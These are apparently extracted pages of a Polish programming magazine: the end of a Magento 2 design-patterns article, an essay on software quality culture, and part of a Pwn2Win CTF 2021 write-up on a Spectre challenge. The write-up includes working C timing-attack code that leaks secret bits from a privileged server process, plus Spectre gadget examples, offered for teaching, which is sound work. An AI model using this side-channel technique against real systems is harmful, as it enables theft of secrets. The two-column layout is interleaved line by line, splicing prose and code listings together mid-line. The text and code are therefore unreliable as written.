Interceptor stosujemy najczęściej, kiedy chcemy zmodyfikować
działanie metody w klasie, której zmienić nie możemy, bo – na przy- W powyższym przykładzie dla klasy implementującej Magento\
kład – jest ona elementem jakiejś biblioteki zewnętrznej lub może Backend\Model\UrlInterface wygenerowana zostanie klasa Proxy:
ulec zmianie podczas kolejnej aktualizacji frameworka. Magento\Backend\Model\UrlInterface\Proxy
Wspomniałem, że zmodyfikować działanie metody w wybranej
Listing 12. Wygenerowana klasa Proxy
klasie możemy, przechwytując jej wywołanie przed, po lub w trak-
cie wykonania. Twórcy Magento musieli sięgnąć po taki sposób namespace Magento\Backend\Model\UrlInterface;
use Magento\Framework\ObjectManagerInterface;
rozszerzania lub zmiany funkcjonowania pozostałych klas (modu- class Proxy implements UrlInterface
łów) we frameworku, aby ten proces był prosty, ale przede wszyst- {
protected $_objectManager = null;
kim bezpieczny. Dlatego mamy możliwość stworzenia trzech typów protected $_instanceName = null;
protected $_subject = null;
pluginów: „before” do zmiany parametrów wejściowych zmienianej protected $_isShared = null;
metody, „after” do zmiany rezultatu jej działania oraz „around” do public function __construct(
ObjectManagerInterface $objectManager,
nadpisywania całej logiki metody. $instanceName = '\\Magento\\Backend\\Model\\UrlInterface',
Konfiguracja pluginów w Magento 2 jest bardzo prosta i sprowa- $shared = true
)
dza się – a jakże – do konfiguracji plugina w pliku xml: {
$this->_objectManager = $objectManager;
Listing 10. Konfiguracja pluginu $this->_instanceName = $instanceName;
$this->_isShared = $shared;
<config> }
<type name="Magento\Framework\View\Model\Layout\Merge"> public function __sleep()
<plugin name="layout-merge-plugin" {
type="Magento\PageCache\Model\Layout\MergePlugin"/> return ['_subject', '_isShared', '_instanceName'];
</type> }
</config> ...

Niezwykle istotną cechą pluginów w Magento jest możliwość two-


PODSUMOWANIE
rzenia całych ich łańcuchów, które nie wchodzą sobie wzajemnie
w kolizję. Istnieją pewne ograniczenia w ich zastosowaniu, na przy- Prostota wykorzystania wzorców projektowych w Magento 2 spra-
kład: brak obsługi metod finalnych, statycznych i niepublicznych, ale wia, że jego modyfikacja jest relatywnie prosta, a to z kolei przekłada
mimo tej niedogodności jest to jeden z najczęściej wykorzystywa- się na jego popularność w środowisku IT. Te kilka opisanych prze-
nych wzorców w Magento 2. ze mnie wzorców projektowych to codzienny, podstawowy arsenał
w orężu developera Magento. Żałuję, że nie miałem okazji opisać

PROXIES wszystkich wzorców, zachęcam więc zainteresowane osoby do zapo-


znania się z nimi.
Wzorzec projektowy Proxy to – w największym skrócie – coś w ro-
dzaju pośrednika, który udostępnia obiekt bazowy. Można się za- PIOTR JAWORSKI
stanawiać, po co korzystać z pośrednika, skoro można użyć obiektu
bezpośrednio. To prawda, ale w niektórych sytuacjach mechanizm Developer w Fast White Cat, polskim E-commerce
House, który zajmuje się wdrożeniami Magento.
wrappowania jednego obiektu przez drugi bardzo się przydaje. Na
przykład, kiedy cache’ujemy wynik działania metody tej klasy lub
kiedy inicjalizacja obiektu danej klasy jest zasobożerna, bo wiąże się
na przykład z odczytaniem informacji z bazy danych. Wtedy do ak-

{  [Link]  } <51>
TESTOWANIE I ZARZĄDZANIE JAKOŚCIĄ

Nie tylko kod i testy, czyli o jakości oprogramowania


Branża IT bardzo szybko się rozwija. Co sezon pojawiają się nowe narzędzia, dobre praktyki,
wzorce projektowe. Żeby za nimi nadążyć, nieustannie się rozwijamy i dopasowujemy nasze
procesy. Chcemy być dumni z naszej pracy. Opowiadać o niej podczas konferencji i chwalić
się na blogach. Skupiamy się więc na tym, co robimy najlepiej, wkładamy serce w pisanie
kodu i dostarczamy najlepsze rozwiązania. Czy to wystarczy, żeby tworzyć dobre produkty?
Okazuje się, że problem jest dużo bardziej złożony i na efekt końcowy składa się wiele małych
cegiełek, od zbierania wymagań, projektowania UX, przez komunikację w zespole i naukę na
błędach. Jeśli choć jedna cegiełka zostanie zaniedbana, może się okazać, że piękna budowla,
którą tworzymy, będzie krzywa lub całkiem się zawali.

DLA KOGO TWORZYMY najbardziej odpowiedni model architektury, tworzymy siatkę bezpie-
czeństwa za pomocą testów. W samym przygotowywaniu projektu
OPROGRAMOWANIE? i planowaniu również trzymamy się pewnych norm, stosując choć-
Jednym z najważniejszych pytań, które każdy inżynier oprogramo- by Definition of Done. Później każda dostarczana funkcjonalność
wania powinien sobie zadać, jest to, dla kogo to oprogramowanie jest jest sprawdzana przez innych członków zespołu pod kątem czytel-
wytwarzane. Zaskakująco często jest ono jednak pomijane. Skupia- ności kodu i obecności testów. Nawet jeśli zespół stosuje wyłącznie
my się na naszych wewnętrznych procesach, jakości kodu, architek- testy manualne, to najczęściej planuje zadbać o uszczelnienie procesu
turze, procesie CI/CD, często zapominając, że tam gdzieś na końcu CI/CD, tak by regresja mogła być wykrywana automatycznie.
jest użytkownik, dla którego wiele z tych kwestii ma znaczenie dru- Programiści już na początku rozwoju dowiadują się, czym jest
gorzędne. To, czy nasze oprogramowanie jest monolitem, czy grupą SOLID, jakie są najczęściej stosowane wzorce projektowe, jak wyglą-
mikroserwisów, nie ma większego znaczenia, jeśli aplikacja działa da piramida testów i jak działa code review. Wszystkie te elementy
wolno, albo w tajemniczych okolicznościach giną pieniądze. Na- powstały, żeby być drogowskazami i równocześnie trochę bronić nas
wet liczba i jakość testów mało interesuje użytkownika. Oczywiście przed nami samymi. Mnogość różnorodnych testów również pomaga
struktura projektu i wewnętrzne procesy mogą wpływać na jakość nam podnosić jakość, ale też coraz lepiej pisać same testy.
produktu końcowego, ale wcale nie muszą. Na dbałości o jakość kodu i testów nie może się jednak skończyć.
Widziałam wiele razy w projektach, jak zespół tworzył funkcjonal- Jeśli kod wygląda świetnie, ale aplikacja jest trudna w użyciu, to jej
ność w sposób wygodny dla siebie, a nie dla osoby używającej aplikacji. wartość dla klienta jest marna. Jako programiści często zapominamy
Często wynika to z pracy w zamkniętej bańce. Szczególnie w dużych o User Experience (UX). Wiele razy słyszałam, jak niektórzy trywia-
organizacjach zespół rzadko ma bezpośredni kontakt z klientem. Na- lizowali te zagadnienia, a później z ich „stajni” wychodziły produkty,
turalne staje się więc dbanie wyłącznie o własne podwórko, które mie- które bardziej przypominały nakładkę na bazę danych, niż nowocze-
ści się z reguły gdzieś między user stories od Product Ownera a deploy- sną aplikację. A przecież to właśnie wrażenie użytkownika i łatwość
mentem na wskazany serwer. Kiedy nie rozmawiamy z osobami, które obsługi w dużej mierze wpływają na postrzeganie jakości całego
używają naszego oprogramowania, nie prezentujemy im wyników na- projektu.
szej pracy ani nie pytamy o informację zwrotną, ciężko wyobrazić so-
bie, w jaki sposób ktoś używa naszego oprogramowania.
ZAGUBIENI W PROCESACH
Zespoły testerskie często są lepiej przygotowane pod względem
znajomości wymagań biznesowych niż programiści. Jeśli jednak pra- Procesy są nam potrzebne, żeby z małych chaotycznych startupów
cują z dala od użytkowników, opierają się wyłącznie na wizji Product przerodzić się w dojrzałe organizacje. Metodyka Agile przyczyniła
Ownera lub Analityka Biznesowego. Taka wizja jest jedynie inter- się do szukania usprawnień w sposób ewolucyjny. W projektach Wa-
pretacją wymagań. Kolejnym wymiarem interpretacji jest powsta- terfall informacje zwrotne były zdecydowanie wolniej przetwarzane,
jący kod. Oddalamy się od wizji klienta wykładniczo. Nic dziwnego a zmiany wdrażane. Scrum i Kanban pozwalają na wprowadzanie
więc, że wiele projektów, które trafiają na produkcję, nie jest dobrze częstych zmian w zespołowych procesach, ale mogą też skupić całą
przyjmowanych. uwagę na sobie.
Wiele procesów powstało po to, żeby poprawić jakość kodu. Spi-

JAKOŚĆ KODU I TESTÓW sywanie Definition of Done, pull request’y, szereg testów automatycz-
nych – wszystko po to, żeby produkt końcowy był zgodny ze standar-
Każdy zespół wyrabia sobie szereg norm i procesów, żeby dostarczyć dami i oczekiwaniami. Wiadomo, że kiepska jakość kodu przełoży
wysokiej jakości oprogramowanie. Stosujemy wzorce projektowe, się na kiepską jakość produktu. Ale czy świetna jakość kodu zapew-

<52> {  3 / 2021 < 97 >  }


/ Nie tylko kod i testy, czyli o jakości oprogramowania /

ni nam świetną jakość projektu? Niekoniecznie. Jest duża szansa, że będziemy spotykać się tylko po to, żeby sobie ponarzekać. A potem
właściwie ułożone procesy, dobrze zaprojektowany i łatwy w utrzy- wszyscy i tak zwątpimy w to, że takie spotkania cokolwiek zmieniają.
maniu kod przyczynią się do wytwarzania dobrych aplikacji. Czasem Inną formą uczenia się na swoich błędach są analizy post portem
jednak skupiamy się na całej otoczce bardziej niż na produkcie koń- lub post incident, stosowane po naprawieniu ważnych błędów na
cowym. Toniemy w spotkaniach, deadline’ach, KPIach, osobistych produkcji i służą temu, by uniknąć podobnych wpadek w przyszło-
planach i przepychamy niedopracowane pomysły przez projektowy ści. Dokładnie przeanalizowany błąd zaprowadzi nas do prawdziwej
pipeline. Łatwo wtedy zgubić perspektywę użytkownika. przyczyny problemu. Idealnym przykładem dobrze przeprowadzonej
analizy jest to, co wydarzyło się po wpadce GitLaba na początku 2017

WYCIĄGANIE WNIOSKÓW roku1. Jeden z inżynierów tego serwisu „przez przypadek“ usunął
produkcyjną bazę danych. Pech (albo raczej brak weryfikacji) chciał,
Bez względu na to, czy projekt idzie nam świetnie, czy coś szwan- że skrypt generujący backupy przestał się wykonywać. Ostatecznie
kuje, warto ciągle go usprawniać. Żeby to zrobić, trzeba raz na jakiś udało się przywrócić stan projektów z kilku godzin przed awarią.
czas się zatrzymać i przyjrzeć się temu, co robimy dobrze, a co można GitLab przez cały proces sprawdzania i naprawiania błędu transmi-
poprawić. To naturalny składnik ewolucji. Czasem przyjmuje to for- tował na żywo pracę swoich inżynierów, którą śledziło prawie 5 tys.
mę oficjalnego spotkania, czasem jest jednym zdaniem rzuconym do osób. Później przeprowadzono szczegółową analizę The 5 Whys i opi-
współpracownika. Ważne, żeby przyglądać się temu, jak robimy to, sano ją na blogu. Transparentność i szybkie reagowanie uratowały
co robimy, i dzielić się informacją zwrotną. renomę firmy.
Z jakiegoś powodu retrospektywa nie cieszy się zbyt dużym en-
tuzjazmem w zespołach developerskich. Często jest utożsamiana
WROGOWIE JAKOŚCI
z grupową terapią lub sesją narzekania. Jeszcze innym często kojarzy
się ze źle prowadzonym Scrumem. To spotkanie ma jednak bardzo Podczas dbania o jakość mamy na swojej drodze wiele przeciwności.
szerokie zastosowanie i może być używane niezależnie od sposobu Musimy mierzyć się z uciekającym czasem, brakach w kompeten-
prowadzenia projektu. Niesie ze sobą wielką moc, ale też wielką od- cjach zespołu czy niedoskonałością narzędzi. Są to dobrze widocz-
powiedzialność. Podczas retrospektywy każda osoba w zespole po- ne przeszkody. Występują jednak dużo trudniejsze do wychwycenia
winna mieć swobodę wypowiedzi i móc poruszać dowolne tematy. sprawy, które mogą mieć ogromny wpływ na jakość produktu, mo-
Zwłaszcza te trudne, na które nie było wcześniej czasu. Najważniejsze
jest jednak to, co dzieje się później. Plan i działanie to nieodłączne
1.  Postmortem of database outage of January 31,
elementy procesu naprawczego. W przeciwnym wypadku faktycznie [Link]

/* REKLAMA */

{  [Link]  } <53>
TESTOWANIE I ZARZĄDZANIE JAKOŚCIĄ

rale zespołu, a nawet szybkość dostarczania nowych funkcjonalności. rzadko chce źle dla jakości swojego projektu. Jeśli nie chce, żebyśmy
Nazywam ich wrogami jakości i uważam, że są dużo bardziej potężni pisali testy w projekcie, czy w jakiś inny sposób poprawiali jakość,
niż dziurawa biblioteka. może to oznaczać, że nie widzi korzyści. A to najczęściej wynika
Pierwszym wrogiem, który może napsuć sporo krwi w zespole, z tego, że to my nie potrafimy ich przedstawić.
jest tzw. blame game. To taka sytuacja, w której w obliczu błędu na Jeśli jedynym argumentem za refaktoryzacją, pisaniem testów,
produkcji czy innej wpadki zespół szuka winnych zamiast skupić się usprawnianiem procesu CI/CD jest przysłowiowe „bo tak należy”, to
na rozwiązaniach. I nie chodzi tutaj tylko o funkcję blame w IDE, nic dziwnego, że klient nie jest przekonany. Czasem sami nie wiemy,
żeby podejrzeć, kto wprowadził zmiany, a o dużo szerszy koncept. po co to robimy, poza tym, że ktoś tak powiedział na konferencji albo
W kilku projektach spotkałam się z tym, że osoba odpowiedzialna za tak było napisane w książce Wujka Boba. Żeby potwierdzić praw-
błąd wprowadzony na produkcji musi go sama naprawiać, bez żad- dziwą potrzebę, musimy spojrzeć z perspektywy klienta, czy nawet
nego wsparcia zespołu. Na efekty takiego podejścia nie trzeba dłu- użytkownika końcowego. Jak to wpłynie na działanie aplikacji? Co
go czekać. Skoro każda pomyłka skończy się wytykaniem palcami zostanie usprawnione? Czy to ograniczy czas naprawiania błędów
i upokorzeniem, to po co ryzykować? Zespoły, do których wkrada się i dostarczania nowych funkcjonalności? To są prawdziwe problemy,
blame game, szybko przestają szukać innowacji i usprawnień i zaczy- o których myśli nasz klient. To, jak wygląda architektura, ile wy-
nają zajmować się zadaniami „odtąd dotąd”, żeby przypadkiem nie nosi code coverage i ile trwają nasze sprinty, to najczęściej szczegół
popełnić błędu. implementacyjny.
Innym cichym wrogiem jakości jest słaba komunikacja. Może Mówi się, że pisanie testów dla programistów powinno być jak
ona wynikać z braku kompetencji miękkich albo z atmosfery panują- mycie rąk u chirurga i nikt nie powinien tego kwestionować. W pełni
cej w zespole. Efekt synergii nie wystąpi w zespole, w którym nie ma się z tym zgadzam. Jednak żeby klient traktował nas jak godnych
zaufania. Powinniśmy dążyć do tego, żeby każdy w zespole mógł się zaufania partnerów, musimy najpierw to zaufanie zbudować. Jeśli
swobodnie wypowiedzieć, przyznać do błędu bez wyciągania kon- zamiast mówić o tym, dlaczego jakiś proces jest dla nas ważny, po-
sekwencji, przekazać konstruktywną informację zwrotną i poprosić każemy, że można na nas polegać i dostarczamy wysokiej jakości
o pomoc. Jeśli tak nie jest, członkowie zespołu będą zachowywać się oprogramowanie zgodnie z planem, to nikt się nie będzie się wtrą-
w sposób defensywny i nigdy nie rozwiną skrzydeł. Mimo tego, iż to cał w nasze procesy. Aby to się dokonało, musimy być transparentni,
właśnie zła komunikacja potrafi najskuteczniej zabić projekt, ścieżki zorganizowani i traktować klienta z szacunkiem. Rzadko mówi się
miękkie na konferencjach oraz warsztaty takich umiejętności nie cie- o tym, że micromanagement ma swoją przyczynę nie tylko w nadgor-
szą się szczególnym zainteresowaniem. Wydaje się nam, że albo się liwości jednej strony, ale też w braku samodzielności drugiej.
„to” ma, albo nie. Tymczasem komunikacja podobnie jak programo-
wanie jest umiejętnością, którą należy rozwijać.
BYCIE DOBRYM OGRODNIKIEM
Jeśli nie wiadomo, co jest nie tak w projekcie, ale jednak coś nie
gra, najczęściej jest to wina trzeciego wroga jakości. Jest nim wybuja- Do zapewniania jakości w projekcie niezbędne jest podejście do-
łe ego. Zdrowe poczucie własnego „ja” i świadomość własnej wartości brego ogrodnika. Utrzymywanie porządku, konsekwentne uspraw-
to dobry objaw. Czasem idzie to jednak za daleko. Ludzie, którym nianie narzędzi i niepozostawianie niczego przypadkowi to jedne ze
bardziej zależy na własnych korzyściach niż końcowym produkcie, sposobów dbania o swoje podwórko. Ogrodnik planuje, zdaje sobie
mogą nie przyznawać się do winy, nie prosić o pomoc i nie dzielić się sprawę, że wszystko wymaga czasu i że należy się przygotowywać na
informacją zwrotną. Objawy mogą być podobne również w sytuacji, liczne przeciwności losu. Nie daje się zaskoczyć, nie narzeka na po-
kiedy ego jest bardzo kruche. Wtedy boimy się tego, co pomyślą o nas przedników, tylko robi, co w jego mocy, żeby wykorzystać maksymal-
inni i co się stanie, kiedy popełnimy błąd. Wielokrotnie podczas re- nie potencjał swojego podwórka.
trospektywy stosowaliśmy metodę The 5 Whys do wykrywania przy- Dobry ogrodnik nie ogranicza się jednak wyłącznie do tego, co obec-
czyn problemów. Jeśli dochodziliśmy do ściany, to niejednokrotnie nie robi. Spogląda poza swoje podwórko i szuka inspiracji w cudzych
prawdziwa przyczyna tkwiła właśnie w ego. rozwiązaniach. Z ciekawością przygląda się zmianom i usprawnia
swoje procesy. Uczy się też na cudzych błędach. Pamięta, co się przy-

BUDOWANIE ZAUFANIA darzyło sąsiadowi w zeszłym sezonie, i czyta o wielkich wpadkach


innych specjalistów. To pozwala mu uniknąć podobnych błędów
Często pytając o testy w projekcie, słyszę: „klient nie pozwala”, „klient i przygotować się na niekorzystne wiatry. Bycie dobrym ogrodnikiem
nie płaci za to”, „klient nie rozumie naszego procesu”. Czy tutaj na- powinno być celem każdego inżyniera oprogramowania.
prawdę jest winny klient? Z mojego doświadczenia wynika, że on

ALEKSANDRA KUNYSZ
ola@[Link]
Autorka tworzy oprogramowanie od kilkunastu lat. Ma doświadczenie w programowaniu full stack, testowaniu, zbieraniu wy-
magań i prowadzeniu szkoleń. Pracowała w korporacjach, startupach i pro bono w różnych branżach i krajach. Najbardziej lubi
pisać kod, który ma znaczenie, i rozwiązywać prawdziwe problemy. Od 2019 roku prowadzi Szkołę Testów i zwiększa świado-
mość w temacie jakości wśród programistów. Kiedy jest offline, jeździ na jednośladach, spaceruje z psem albo ćwiczy jogę.

<54> {  3 / 2021 < 97 >  }


STREFA CTF

Pwn2Win CTF 2021 – atak Spectre


Pwn2Win CTF, organizowany przez brazylijską ekipę Epic Leet Team, był ostatnim konkursem
kwalifikującym zwycięską drużynę do DEF CON CTF 2021, prestiżowego turnieju odbywają-
cego się w Las Vegas [0]. Zgodnie z tradycją konkursów typu „jeopardy” uczestnicy mogli się
zmierzyć z zadaniami z takich kategorii jak web, rev, pwn, crypto, misc czy hardware.

CTF Pwn2Win CTF 2021 able to extract the password yet. After running cpuid, maybe you’re able
to speculate what the secret is. Obs: There is no need to escalate your
Waga [Link] 83.41 ([Link]
privilege. The binary server should be running on the machine (check
Liczba drużyn (z niezerową it with ps).
720
liczbą punktów)

True: Now get the second password!


System punktacji zadań dynamiczny

Liczba zadań 27 Wersję „Baby” można było rozwiązać prostym atakiem czasowym.
Wersja „True” była natomiast kolejnym na Pwn2Win CTF (po ze-
1. DiceGang (Stany Zjednoczone) – 6819 pkt.
szłorocznym zadaniu „stolen_backdoor” [1]) problemem związanym
Podium 2. uuunderflow (Japonia, Korea Południowa) – 5808 pkt.
z atakami na procesory. W obu zadaniach mogliśmy wykonać dowol-
3. justCatTheFish (Polska) – 4385 pkt.
ny kod na maszynie organizatorów, na którym działał proces-serwer
administratora (użytkownika root) zawierający flagi, które chcieli-

O ZADANIACH śmy wykraść. Nasz kod uruchamiany był w innym procesie, który
nie miał żadnych uprawnień. Mogliśmy natomiast z naszego kodu
Zarówno „Baby”, jak i „True write-only password manager” były za- wysyłać dane do procesu serwera, co musiało wystarczyć do tego, aby
daniami opartymi o ten sam program serwera. Ich oryginalne opisy wykraść flagi.
prezentujemy poniżej: W trakcie rozgrywki dość szybko skończyliśmy zadanie w wersji
„Baby” i choć byliśmy dość blisko rozwiązania „prawdziwego” wy-
Baby: It looks like the leaders of the city-state of Rhiza are using an zwania (wersji „True”), udało nam się mu sprostać dopiero po zakoń-
odd password manager. Laura got access to the machine but hasn’t been czeniu konkursu.

<56> {  3 / 2021 < 97 >  }


STREFA CTF

KOD ZADANIA while (1) {


if (read(socket, &index, sizeof(index))
!= sizeof(index))
Wraz z zadaniem dostaliśmy jedynie plik wykonywalny ELF serwe- break;
CheckPassword(index);
ra, który zdekompilowaliśmy do języka C w programie Ghidra [2], }
a następnie przeanalizowaliśmy jego działanie. Dla uproszczenia, }

w Listingu 1 prezentujemy skrócony (przez nas) kod zadania, który int main() {
Init();
został opublikowany przez organizatorów po zakończeniu konkur- printf("Welcome to write only password manager!\n");
su. Oczywiście w binarce, którą dostaliśmy w trakcie zawodów, flagi int server = CreateServer();
while (1) {
(CTF-BR{...}) zostały zastąpione ciągiem „REDACTED”. int client = ResetConn(server);
Program najpierw wykonuje funkcję Init, w której przypina MainLoop(client);
}
swój proces do rdzenia procesora o numerze 0, wykonując sched_ return 0;
setaffinity z odpowiednimi argumentami (co również ułatwi nasz }

atak), a także wyłącza buforowanie standardowego wyjścia (stdout)


poprzez użycie setvbuf z odpowiednimi argumentami. Następnie
WERSJA „BABY”
program tworzy nasłuchujące gniazdo w funkcji CreateServer,
a dalej w pętli odbiera połączenie przez ResetConn i obsługuje dane Rozwiązanie do prostej wersji zadania umieściliśmy w Listingu 2.
połączenie w funkcji MainLoop. Tam wreszcie odbiera od klienta in- Kluczowa część zaimplementowana jest w funkcji check, w której
deks, który następnie przekazuje do funkcji CheckPassword. wysyłamy do serwera komunikat, aby przeprocesował dany indeks
Funkcja CheckPassword, z której chcemy wykraść flagi (dla wersji (bit) flagi wielokrotnie, jednocześnie mierząc czas tych operacji. Na-
„Baby” oraz „True”), oblicza numer bajtu (offset) oraz numer bitu stępnie tworzymy wykres naszych pomiarów (zobacz Rysunek 1),
(suboffset) flagi do sprawdzenia na podstawie podanego indeksu na którym widać średnią różnicę czasu pomiędzy procesowaniem
(oznaczonego zmienną x). W przypadku gdy dany bit jest ustawiony, kolejnych bitów flagi. Na podstawie wykresu wydedukowaliśmy, jak
wykonana zostaje funkcja getenv("BitHit!"). Funkcjonalność ta ustawić wartość graniczną czasu, po której stwierdzamy, czy dany bit
oczywiście nie jest niczym praktycznym i została zaimplementowana flagi jest ustawiony czy nie, i napisaliśmy prosty skrypt w Pythonie
wyłącznie na potrzeby zadania, gdyż funkcja getenv zwraca jedynie (Listing 3), którym zdekodowaliśmy flagę.
daną zmienną środowiskową, która nie jest tu wykorzystywana. Moż- Aby otrzymać dokładniejsze pomiary, komunikaty do serwera
na sobie jednak wyobrazić, że program mógłby w podobny sposób wysłaliśmy 12 razy, przy czym w każdej wiadomości umieszczali-
sprawdzać na przykład hasło maskowane. Dodatkowym problemem śmy ten sam indeks do przetworzenia około 16 tysięcy razy (wi-
jest to, że przed sprawdzeniem bitu flagi i ewentualnym wywołaniem dać to w tablicy hugedata). Wielkość tą dobraliśmy eksperymen-
getenv program upewnia się, że pytamy o jeden z pierwszych 18 baj- talnie: zwiększając ją tak, aby otrzymać dokładniejsze pomiary,
tów tablicy flag poprzez warunek offset < limit. Oznacza to, że a jednocześnie nie przekroczyć maksymalnego rozmiaru pakietu
możemy testować jedynie pierwszą flagę, gdyż to ona ma długość 18 TCP (65535 bajtów), bo wtedy serwer nie dostawał danych zgru-
bajtów: CTF-BR{eZ_PaRt_Ok}. powanych po 4 bajty, co przerywało działanie w funkcji MainLoop.
Dodatkowo, żeby mieć większą pewność, że serwer przetworzył nasz
Listing 1. Skrócony kod zadania ze strony [Link]
2win2021-write-only-password-manager/blob/main/src/server.c komunikat, sprawdzaliśmy rozmiar kolejki wysyłanych danych połą-
czenia sieciowego z serwerem poprzez wywołanie systemowe ioctl
unsigned long limit = 18;
z flagą SIOCOUTQ [3]. W ten sposób, jeśli kolejka nie była pusta, wy-
void Init() {
cpu_set_t mask;
właszczaliśmy nasz proces wywołaniem systemowym sched_yield,
CPU_ZERO(&mask); tak by serwer mógł przetworzyć wysłane przez nas dane.
CPU_SET(0, &mask);
// Przypięcie procesu do rdzenia procesora o numerze 0 Listing 2. Rozwiązanie zadania w wersji „Baby”
// (co zwykle jest używane jako optymalizacja,
// ale w tym przypadku umożliwia nasz atak)
#define _GNU_SOURCE
if (sched_setaffinity(0, sizeof(mask), &mask) == -1) {
#include <sys/socket.h>
perror("sched_setaffinity");
#include <netinet/in.h>
}
#include <netinet/tcp.h>
// wyłączenie buforowania wyjścia (stdout)
#include <err.h>
setvbuf(stdout, NULL, _IONBF, 0);
#include <unistd.h>
}
#include <stdio.h>
void CheckPassword(unsigned x) { #include <string.h>
char flag[] = "CTF-BR{eZ_PaRt_Ok}" \ #include <sched.h>
"CTF-BR{not_so_write_only_now}"; #include <time.h>
register unsigned offset = x/8; #include <sys/ioctl.h>
register unsigned suboffset = x%8; #include <linux/sockios.h>
if (offset < limit)
static int fd;
if ((flag[offset] >> (suboffset)) & 1)
static struct sockaddr_in addr = {
getenv("BitHit!");
.sin_family = AF_INET,
}
.sin_addr = 0,
void MainLoop(int socket) { .sin_port = 0x901f, // htons(8080)
unsigned index; };
size_t len;
static unsigned long now() {
printf("connection started\n");

<58> {  3 / 2021 < 97 >  }


/ Pwn2Win CTF 2021 – atak Spectre /

struct timespec ts; je przetwarzać, zanim się upewni, czy dana instrukcja miała w ogóle
clock_gettime(CLOCK_MONOTONIC, &ts);
return ts.tv_nsec + ts.tv_sec * 1000000000UL;
zostać wykonana). Aby zrozumieć działanie metody, którą wykorzy-
} staliśmy w naszym rozwiązaniu i którą opisujemy w dalszej części ar-
static long check(int idx) { tykułu, przyda nam się nieco teorii o jednym z ataków na procesory:
int hugedata[] = { [0 ... 8192 * 2] = idx };
long t1 = now();
Spectre.
for (int i = 0; i < 12; i++) {
if (write(fd, hugedata, sizeof(hugedata))
< sizeof(hugedata))
err(1, "write");
PODATNOŚĆ SPECTRE
int outq;
while (ioctl(fd, SIOCOUTQ, &outq), outq) Spectre, podatność pierwotnie oznaczona jako CVE-2017-5753 („bo-
sched_yield(); unds check bypass”) i CVE-2017-5715 („branch target injection”),
}
long t2 = now(); wstrząsnął światem obliczeń w chmurze, a także innymi zastosowa-
return t2 - t1; niami, w których tylko logika programu decyduje o ukryciu pewnych
}
danych.
int main() {
cpu_set_t set; Przykłady kodu podatnego na te ataki wyglądały następująco:
CPU_ZERO(&set);
CPU_SET(1, &set); Listing 4. Kod podatny na „bounds check bypass”
sched_setaffinity(0, sizeof(set), &set);
uint8_t tab1[LENGTH];
fd = socket(AF_INET, SOCK_STREAM, 0); uint8_t tab2[256 * 64];
int nodelay = 1;
if (setsockopt(fd, IPPROTO_TCP, TCP_NODELAY, if (untrusted_index < LENGTH)
&nodelay, sizeof(nodelay))) print(tab2[tab1[untrusted_index] * 64])
err(1, "setsockopt");
if (connect(fd, (struct sockaddr*)&addr, Listing 5. Kod podatny na „branch target injection”
sizeof(addr)) < 0)
err(1, "connect"); typedef void (*func_ptr_t)();
check(0); func_ptr_t dispatch_table[LENGTH];
if (untrusted_index < LENGTH)
for (int idx = 0; idx < 18 * 8; idx++) dispatch_table[untrusted_index]();
printf("%ld\n", check(idx));

return 0;
Wariant wstrzyknięcia celu skoku z Listingu 5 jest z jednej strony nie-
}
co potężniejszy niż obejście sprawdzenia zakresu, ponieważ można
Listing 3. Dekodowanie bitów flagi dzięki niemu wykonać spekulatywnie dowolny kod obecny w pamię-
# wymaga zainstalowania modułu pwntools ci programu (podczas gdy „bounds check bypass” pozwala na wyko-
from pwn import * nanie zawsze tylko tego samego fragmentu kodu), ale z drugiej strony
data = []
for l in read('[Link]').splitlines(): trzeba znać adresy danych i kod maszynowy pliku wykonywalnego
[Link](int(l) > 2.49e8) oraz wybrać odpowiednie instrukcje spośród tysięcy dostępnych.
print(unbits(data, endian='little')) Ataki te dotyczą głównie (mogą zostać wykorzystane przeciwko)
interpreterów, kompilatorów Just-In-Time (JIT; na przykład w prze-

WERSJA „TRUE” glądarkach), jądra systemów operacyjnych lub hypervisorów.

Wersji „True” nie da się rozwiązać prostym atakiem czasowym, któ-


SKĄD TAKA PODATNOŚĆ?
ry dla danego bitu mierzyłby, czy rzeczywiście wykonaliśmy funkcję
getenv, czy też nie, ze względu na limit bajtów, które faktycznie mo- W tej części omówimy historię i szczegóły związane z atakiem Spec-
żemy porównać. tre w procesorach. Ponieważ jednak będzie to tylko zarys niezbęd-
Mimo to, jak się okazuje, można zmusić procesor, aby wykonał nych informacji, zachęcamy również do lektury:
to porównanie i kod znajdujący się za nim, gdy warunek jest „spe- 1. Materiałów naukowych dotyczących ataków Spectre oraz Melt-
kulatywnie” prawdziwy (chodzi tu o sytuację, gdy procesor próbuje down, dostępnych na stronie [Link]
przewidywać instrukcje, które będzie musiał wykonywać, i zaczyna 2. Artykułu „Ataki na procesory” Wojciecha Macka (Programista

Rysunek 1. Wykres przetwarzania przez serwer kolejnych bitów flagi (oś X) od czasu (oś Y)

{  [Link]  } <59>
STREFA CTF

12/2018). Fragment tego artykułu można również pobrać na dzy niektórymi z nich. Na przykład, jeśli jedna instrukcja wykonuje
stronie [Link] zapis do rejestru r5, a kolejna odczytuje dane właśnie z r5, to musi
3. Części teoretycznej z pracy inżynierskiej jednego z autorów ona poczekać, aż wykona się poprzednia. We współczesnych pro-
ninejszego artykułu, którą można znaleźć pod adresem https:// cesorach stosuje się w tym celu szeregowanie instrukcji (ang. out-
[Link]/assets/about_me/disconnected_bachelor_thesis. -of-order instruction scheduling), próbując znaleźć wśród kolejnych
pdf. Co prawda w dokumencie tym zbadano głównie wpływ rozkazów taki, który może się wykonać przed kolejnymi. Widać to
ułożenia danych na wydajność, ale opisane są w nim również w poniższej sekwencji instrukcji hipotetycznego procesora, w którym
takie tematy jak przetwarzanie potokowe, predykcje gałęzi do instrukcja mov kopiuje wartość z jednego rejestru do drugiego, a add
wykonania (2.1.5), pamięć podręczna procesora czy wczesne zapisuje wynik dodawania dwóch rejestrów do danego rejestru:
pobieranie (ang. prefetching).
(1) mov r5 <- r2
(2) add r5 <- r5 + r1

TROCHĘ HISTORII (3) mov r3 <- r4

Pierwsze procesory były jednocyklowe, czyli takie, w których jedna Instrukcja (3) może być wykonana przed instrukcją (2) i nie zmieni
instrukcja wykonywana była podczas jednego cyklu. W takich proce- to specjalnie działania programu.
sorach taktowanie zegara było niskie, na poziomie kilku kiloherców, Najgorszym przypadkiem dla szeregowania instrukcji są skoki,
ograniczone przez czas wykonania najwolniejszej instrukcji (ponie- zwłaszcza warunkowe lub wyliczone. Po pobraniu takiego rozkazu
waż każda instrukcja musiała wykonywać się dokładnie taką samą procesor nie może przedwcześnie rozpocząć pobierania kolejnej in-
ilość czasu). Niestety, takie rozwiązanie nie było zbyt dobre, ponie- strukcji, gdyż nie wie, czy skok się odbędzie, czy nie. Współczesne
